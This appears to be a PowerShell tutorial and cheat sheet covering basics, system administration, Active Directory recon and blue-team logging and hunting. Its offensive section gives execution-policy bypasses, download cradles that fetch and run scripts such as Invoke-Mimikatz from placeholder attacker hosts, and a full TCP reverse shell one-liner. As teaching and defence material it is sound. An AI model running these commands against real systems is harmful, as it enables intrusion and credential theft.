PowerShell¶

Table of Contents¶
- 1. Getting Started
- 2. PowerShell Fundamentals
- 3. Scripting and Functions
- 4. System Administration & Recon
- 5. Windows and Active Directory
- 6. Offensive PowerShell ("Living Off the Land")
- 7. Defensive PowerShell (Blue Team)
Part 1: Getting Started¶
1. PowerShell Versions & Consoles¶
- Windows PowerShell (5.1): The version that comes built in with Windows 10/11. It's powerful but no longer receives new features. It runs on the older .NET Framework.
- PowerShell 7+: The modern, cross platform version (Windows, Linux, macOS). It's open source, built on the latest .NET, and receives all new features. This is the version you should install and use. Download it from the official GitHub repository.
- Consoles: You can run PowerShell in
powershell.exe, the Windows Terminal, or the integrated console in Visual Studio Code, which provides the best experience with features like IntelliSense, debugging, and syntax highlighting via the official PowerShell extension.
2. Execution Policy: The First Hurdle¶
Execution Policy controls when PowerShell can load config files and run scripts. It's a safety feature, not a security boundary and it's easily bypassed.
Get-ExecutionPolicy: See the current policy.Set-ExecutionPolicy <Policy>: Change the policy (requires admin rights).
Common Policies: * Restricted: (Default on Windows clients) No scripts can be run. * AllSigned: Scripts can run, but they must be digitally signed by a trusted publisher. * RemoteSigned: (Default on Windows servers) Locally written scripts can run, but scripts downloaded from the internet must be signed. * Unrestricted: All scripts can run. * Bypass: Nothing is blocked and no warnings or prompts are generated.
# Set the policy for the current user to allow local scripts
Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser
3. Discoverability: Learning to Fish¶
PowerShell's greatest strength is its discoverability. You don't need to memorize commands; you need to know how to find them.
Get-Command: Find commands. Use wildcards (*) to search.Get-Help: The most important cmdlet. It shows you how to use other commands.Get-Member(gm): Shows the properties and methods of an object. This is how you discover what you can do with the output of a command.
# Find all commands with the word "Process" in their name
Get-Command -Noun Process
# Get detailed help for the Get-Process command, including examples
Get-Help Get-Process -Full
Get-Help Get-Process -Examples
# See what properties and methods a process object has
Get-Process | Get-Member
Part 2: PowerShell Fundamentals¶
4. The Pipeline-(|): The Core Concept¶
The pipeline takes the output of one command and passes it as input to the next. In PowerShell, this output is a stream of objects.
# 1. Get-Process outputs a collection of process objects.
# 2. Where-Object filters these objects, keeping only those whose `CPU` property is greater than 10.
# 3. Sort-Object sorts the remaining objects by their `WorkingSet`-(memory) property.
# 4. Select-Object picks the top 5 and displays only their `ProcessName`, `Id`, and `CPU` properties.
Get-Process | Where-Object { $_.CPU -gt 10 } | Sort-Object -Property WorkingSet -Descending | Select-Object -First 5 -Property ProcessName, Id, CPU
5. Cmdlet Syntax: Verb-Noun¶
Commands follow a predictable Verb-Noun pattern. * Verbs: Get, Set, Start, Stop, New, Remove, Invoke, Test, Out * Nouns: Process, Service, Item (file/folder), Content, ADUser
This makes commands easy to guess: Get-Process, Get-Service, Get-ChildItem.
6. Variables, Strings, and Operators¶
- Variables start with
$. E.g.,$myVar = "Hello". - Strings can be in single or double quotes. Double quoted strings allow variable expansion.
- Comparison operators:
-eq(equal),-ne(not equal),-gt(greater than),-ge(greater or equal),-lt(less than),-le(less or equal),-like(wildcard match),-match(regex match),-contains.
$user = "0x1RIS"
$message = "Hello, $user" # "Hello, 0x1RIS"
$num = 10
if ($num -gt 5) {
Write-Host "Number is greater than 5"
}
7. Filtering Objects-(Where-Object)¶
Alias: where or ?
Used to filter the objects coming through the pipeline. $_ is an automatic variable representing the current object in the pipeline.
# Find all services that are currently running
Get-Service | Where-Object { $_.Status -eq "Running" }
# Short hand version
Get-Service | ? { $_.Status -eq "Running" }
8. Selecting and Modifying Objects-(Select-Object)¶
Alias: select
Used to select specific properties of an object or to create new, calculated properties.
# Select only the name and ID of all processes
Get-Process | Select-Object -Property ProcessName, Id
# Create a calculated property to show memory usage in MB
Get-Process | Select-Object ProcessName, @{Name="MemoryMB"; Expression={$_.WorkingSet / 1MB}}
9. Sorting and Measuring (Sort-Object,-Measure-Object)¶
Sort-Object: Sorts objects based on a property.Measure-Object: Calculates numeric properties of objects (sum, average, min, max).
# Sort files by size, largest first
Get-ChildItem | Sort-Object -Property Length -Descending
# Get the total size of all files in a directory
Get-ChildItem | Measure-Object -Property Length -Sum
10. Control Flow (If, ForEach, For, While,-Switch)¶
# ForEach-Object loop (for the-pipeline)
Get-Service | ForEach-Object {
Write-Host "Service found: $($_.Name)"
}
# foreach loop (for any-collection)
$users = @("alice", "bob", "charlie")
foreach ($user in $users) {
Write-Host "Processing $user"
}
Part 3: Scripting and Functions¶
11. Creating and Running .ps1 Scripts¶
Save a series of PowerShell commands in a text file with a .ps1 extension. To run it, you may need to deal with the Execution Policy (see Part 1).
# In your terminal
.\my_script.ps1
12. Writing Functions¶
function Get-SystemInfo {
[CmdletBinding()]
param (
[string]$ComputerName = $env:COMPUTERNAME
)
Write-Host "--- System Info for $ComputerName ---"
Get-CimInstance -ClassName Win32_OperatingSystem -ComputerName $ComputerName | Select-Object Caption, Version
Get-CimInstance -ClassName Win32_ComputerSystem -ComputerName $ComputerName | Select-Object Manufacturer, Model
}
# Call the function
Get-SystemInfo -ComputerName "DC01"
13. Error Handling-(try/catch/finally)¶
Use try/catch blocks to handle terminating errors.
try {
# The -ErrorAction Stop is important to turn a non terminating error into one that `catch` will handle
Get-ChildItem -Path "C:\non existent folder" -ErrorAction Stop
} catch {
Write-Warning "An error occurred!"
Write-Warning $_.Exception.Message
} finally {
Write-Host "Cleanup block always runs."
}
Part 4: System Administration & Recon¶
14. Filesystem Management¶
| Cmdlet (Alias) | Description |
|---|---|
Get-ChildItem (gci, ls, dir) | List files and directories. |
Get-Content (gc, cat) | Read the content of a file. |
Set-Content (sc) | Write content to a file (overwrites). |
Add-Content (ac) | Append content to a file. |
Copy-Item (cpi, cp) | Copy an item. |
Remove-Item (ri, rm, del) | Delete an item. |
Get-Acl | Get permissions (Access Control List) for an item. |
15. Process and Service Management¶
# Get the owner of a process
Get-Process -Name "explorer" -IncludeUserName
# Stop a process by name
Stop-Process -Name "notepad" -Force
# Get all services that depend on the spooler service
Get-Service -Name "Spooler" -DependentServices
16. Networking¶
Test-Connection: A modernpingthat sends ICMP echo requests.Test-NetConnection: A powerful tool to diagnose connectivity. Can test a specific TCP port.Invoke-WebRequest: Acurl/wgetequivalent for downloading files and scraping websites.Invoke-RestMethod: Optimized for interacting with REST APIs (auto handles JSON/XML).
# Test if a server is listening on RDP (port-3389)
Test-NetConnection -ComputerName "SERVER01" -Port 3389
# Download a tool
Invoke-WebRequest -Uri "https://live.sysinternals.com/procexp.exe" -OutFile ".\procexp.exe"
17. WMI and CIM: Querying Windows¶
Windows Management Instrumentation (WMI) is a core technology for managing Windows. Get-CimInstance is the modern way to query it.
# Get OS information
Get-CimInstance -ClassName Win32_OperatingSystem
# Find installed software
Get-CimInstance -ClassName Win32_Product
# List all USB devices that have ever been connected
Get-CimInstance -ClassName Win32_USBHub
Part 5: Windows and Active Directory¶
18. The Active Directory Module¶
On a machine with the RSAT tools installed, this module is a goldmine for reconnaissance.
# Find all domain admin accounts
Get-ADGroupMember -Identity "Domain Admins" -Recursive
# Get detailed properties for a user
Get-ADUser -Identity "j.smith" -Properties *
# Find users with non expiring passwords a common security finding
Search-ADAccount -PasswordNeverExpires -UsersOnly
# Find inactive computer accounts (not logged on in 90-days)
Search-ADAccount -ComputersOnly -AccountInactive -TimeSpan 90.00:00:00
19. Managing the Registry¶
PowerShell treats the registry like a filesystem. You can cd into it!
# Navigate to a registry key
cd HKCU:\Software\Microsoft\Windows\CurrentVersion\Run
# List values in the key (persistence-locations)
Get-ItemProperty -Path .
# Create a new key and value
New-Item -Path "HKCU:\Software\MyTestApp"
New-ItemProperty -Path "HKCU:\Software\MyTestApp" -Name "Version" -Value "1.0"
20. Querying Event Logs¶
Get-WinEvent is the modern, powerful way to query Windows Event Logs.
# Get the 10 most recent security events
Get-WinEvent -LogName Security -MaxEvents 10
# Filter for all successful login events (Event ID-4624)
$filter = @{LogName='Security'; ID=4624}
Get-WinEvent -FilterHashtable $filter -MaxEvents 50
Part 6: Offensive PowerShell ("Living Off the-Land")¶
21. Execution Policy Bypasses¶
As mentioned, the Execution Policy is not a security boundary. Here are common bypasses:
# Bypass for the current process. The most common method.
powershell.exe -ExecutionPolicy Bypass
# Read a script from stdin
Get-Content .\MyScript.ps1 | powershell.exe -noprofile
# Download and execute in one line
powershell -nop -c "IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/script.ps1')"
22. In-Memory Execution and Download Cradles¶
Invoke-Expression (alias IEX) is the key to fileless execution. It executes a string as if it were a command. When combined with a download, it allows an attacker to run a script without ever writing it to the disk, evading many simple antivirus solutions.
# The classic download cradle
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/Invoke-Mimikatz.ps1')
# A slightly stealthier version using Invoke-RestMethod
IEX (irm 'http://ATTACKER/payload.ps1')
23. PowerShell Remoting-(PSRemoting)¶
If PSRemoting is enabled on a target (Enable-PSRemoting), it can be used for lateral movement.
# Enter an interactive session on a remote computer
Enter-PSSession -ComputerName TARGET-PC
# Run a single command on multiple computers
Invoke-Command -ComputerName SERVER01, SERVER02 -ScriptBlock { Get-Process -Name "spoolsv" }
24. Reverse Shells¶
A reverse shell connects from the victim machine back to the attacker, bypassing firewalls that block inbound connections.
# A classic one liner TCP reverse shell
$client = New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
25. Offensive Frameworks-(PowerSploit)¶
PowerSploit is a collection of PowerShell modules that are invaluable for penetration testers. They can be loaded in memory to perform reconnaissance, privilege escalation, credential theft, and more.
# Load PowerView in memory to perform advanced Active Directory recon
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')
# Now use PowerView's functions
Invoke-UserHunter -Stealth
Get-NetGPO -ComputerName DC01
Part 7: Defensive PowerShell (Blue-Team)¶
26. Logging and Auditing¶
To catch the offensive techniques above, defenders must enable enhanced PowerShell logging.
- Module Logging (Event ID 4103): Logs pipeline execution details. Enable via Group Policy.
- Script Block Logging (Event ID 4104): Logs the full content of scripts as they are executed. This is the most important log source. It will capture de obfuscated code and scripts that were run in memory.
- Transcription: Creates a text file record of every command typed in a PowerShell session.
Enable these via Group Policy: Computer Configuration -> Administrative Templates -> Windows Components -> Windows PowerShell.
27. Hunting Threats with PowerShell¶
PowerShell is an excellent tool for incident response and threat hunting.
# Hunt for suspicious processes with no file path or that have been deleted from disk
Get-CimInstance -ClassName Win32_Process | Where-Object { ! $_.ExecutablePath -or !(Test-Path $_.ExecutablePath) }
# Hunt for suspicious network connections
Get-NetTCPConnection | Where-Object { $_.State -eq 'Established' -and $_.RemotePort -ne 443 -and $_.RemotePort -ne 80 }
# Hunt for encoded commands in recent event logs (a sign of-obfuscation)
$filter = @{
LogName = 'Microsoft-Windows-PowerShell/Operational'
ID = 4104
StartTime = (Get-Date).AddDays(-1)
}
Get-WinEvent -FilterHashtable $filter | Where-Object { $_.Message -match "-enc|encodedcommand" }
28. Constrained Language Mode¶
When PowerShell runs in Constrained Language Mode (often enforced by AppLocker), its capabilities are severely limited. Many advanced scripting features, COM objects, and arbitrary .NET calls are blocked, which neuters many offensive tools.
Part 8: Cookbook¶
29. Cookbook: Find Suspicious Running Processes¶
This script looks for processes that are not signed by Microsoft, which can be an indicator of malware or non standard tools.
Get-Process | ForEach-Object {
$process = $_
try {
$signature = Get-AuthenticodeSignature -FilePath $process.Path -ErrorAction Stop
if ($signature.SignerCertificate.Subject -notlike "*Microsoft*") {
Write-Host "[NON MICROSOFT] $($process.ProcessName) ($($process.Id)) by $($signature.SignerCertificate.Subject) is running."
}
} catch {
# Errors will happen for system processes with no path, etc.
}
}
30. Cookbook: Query for Failed Login Attempts¶
This script queries the Security event log on a machine for recent failed login attempts (Event ID 4625).
$startTime = (Get-Date).AddDays(-7)
$filter = @{
LogName = 'Security'
ID = 4625
StartTime = $startTime
}
$failedLogins = Get-WinEvent -FilterHashtable $filter -ErrorAction SilentlyContinue
if ($failedLogins) {
$failedLogins | ForEach-Object {
$userName = $_.Properties[5].Value
$ipAddress = $_.Properties[19].Value
$time = $_.TimeCreated
Write-Host "[!] Failed login for user '$userName' from IP $ipAddress at $time"
}
} else {
Write-Host "[+] No failed login events found in the last 7 days."
}
31. Cookbook: Simple Network Port Scanner¶
[CmdletBinding()]
param (
[Parameter(Mandatory=$true)]
[string]$ComputerName,
[Parameter(Mandatory=$true)]
[int[]]$Ports
)
Write-Host "Scanning $ComputerName..."
foreach ($port in $ports) {
try {
$socket = New-Object System.Net.Sockets.TcpClient
# BeginConnect is non blocking, but we use a short timeout
$asyncResult = $socket.BeginConnect($ComputerName, $port, $null, $null)
$success = $asyncResult.AsyncWaitHandle.WaitOne(200, $false) # 200ms timeout
if ($success) {
Write-Host "[+] Port $port is OPEN" -ForegroundColor Green
$socket.EndConnect($asyncResult) # Clean up
} else {
# Write-Verbose "Port $port is closed"
}
} catch {
# Write-Warning "Exception on port $port: $_"
} finally {
if ($socket) { $socket.Close() }
}
}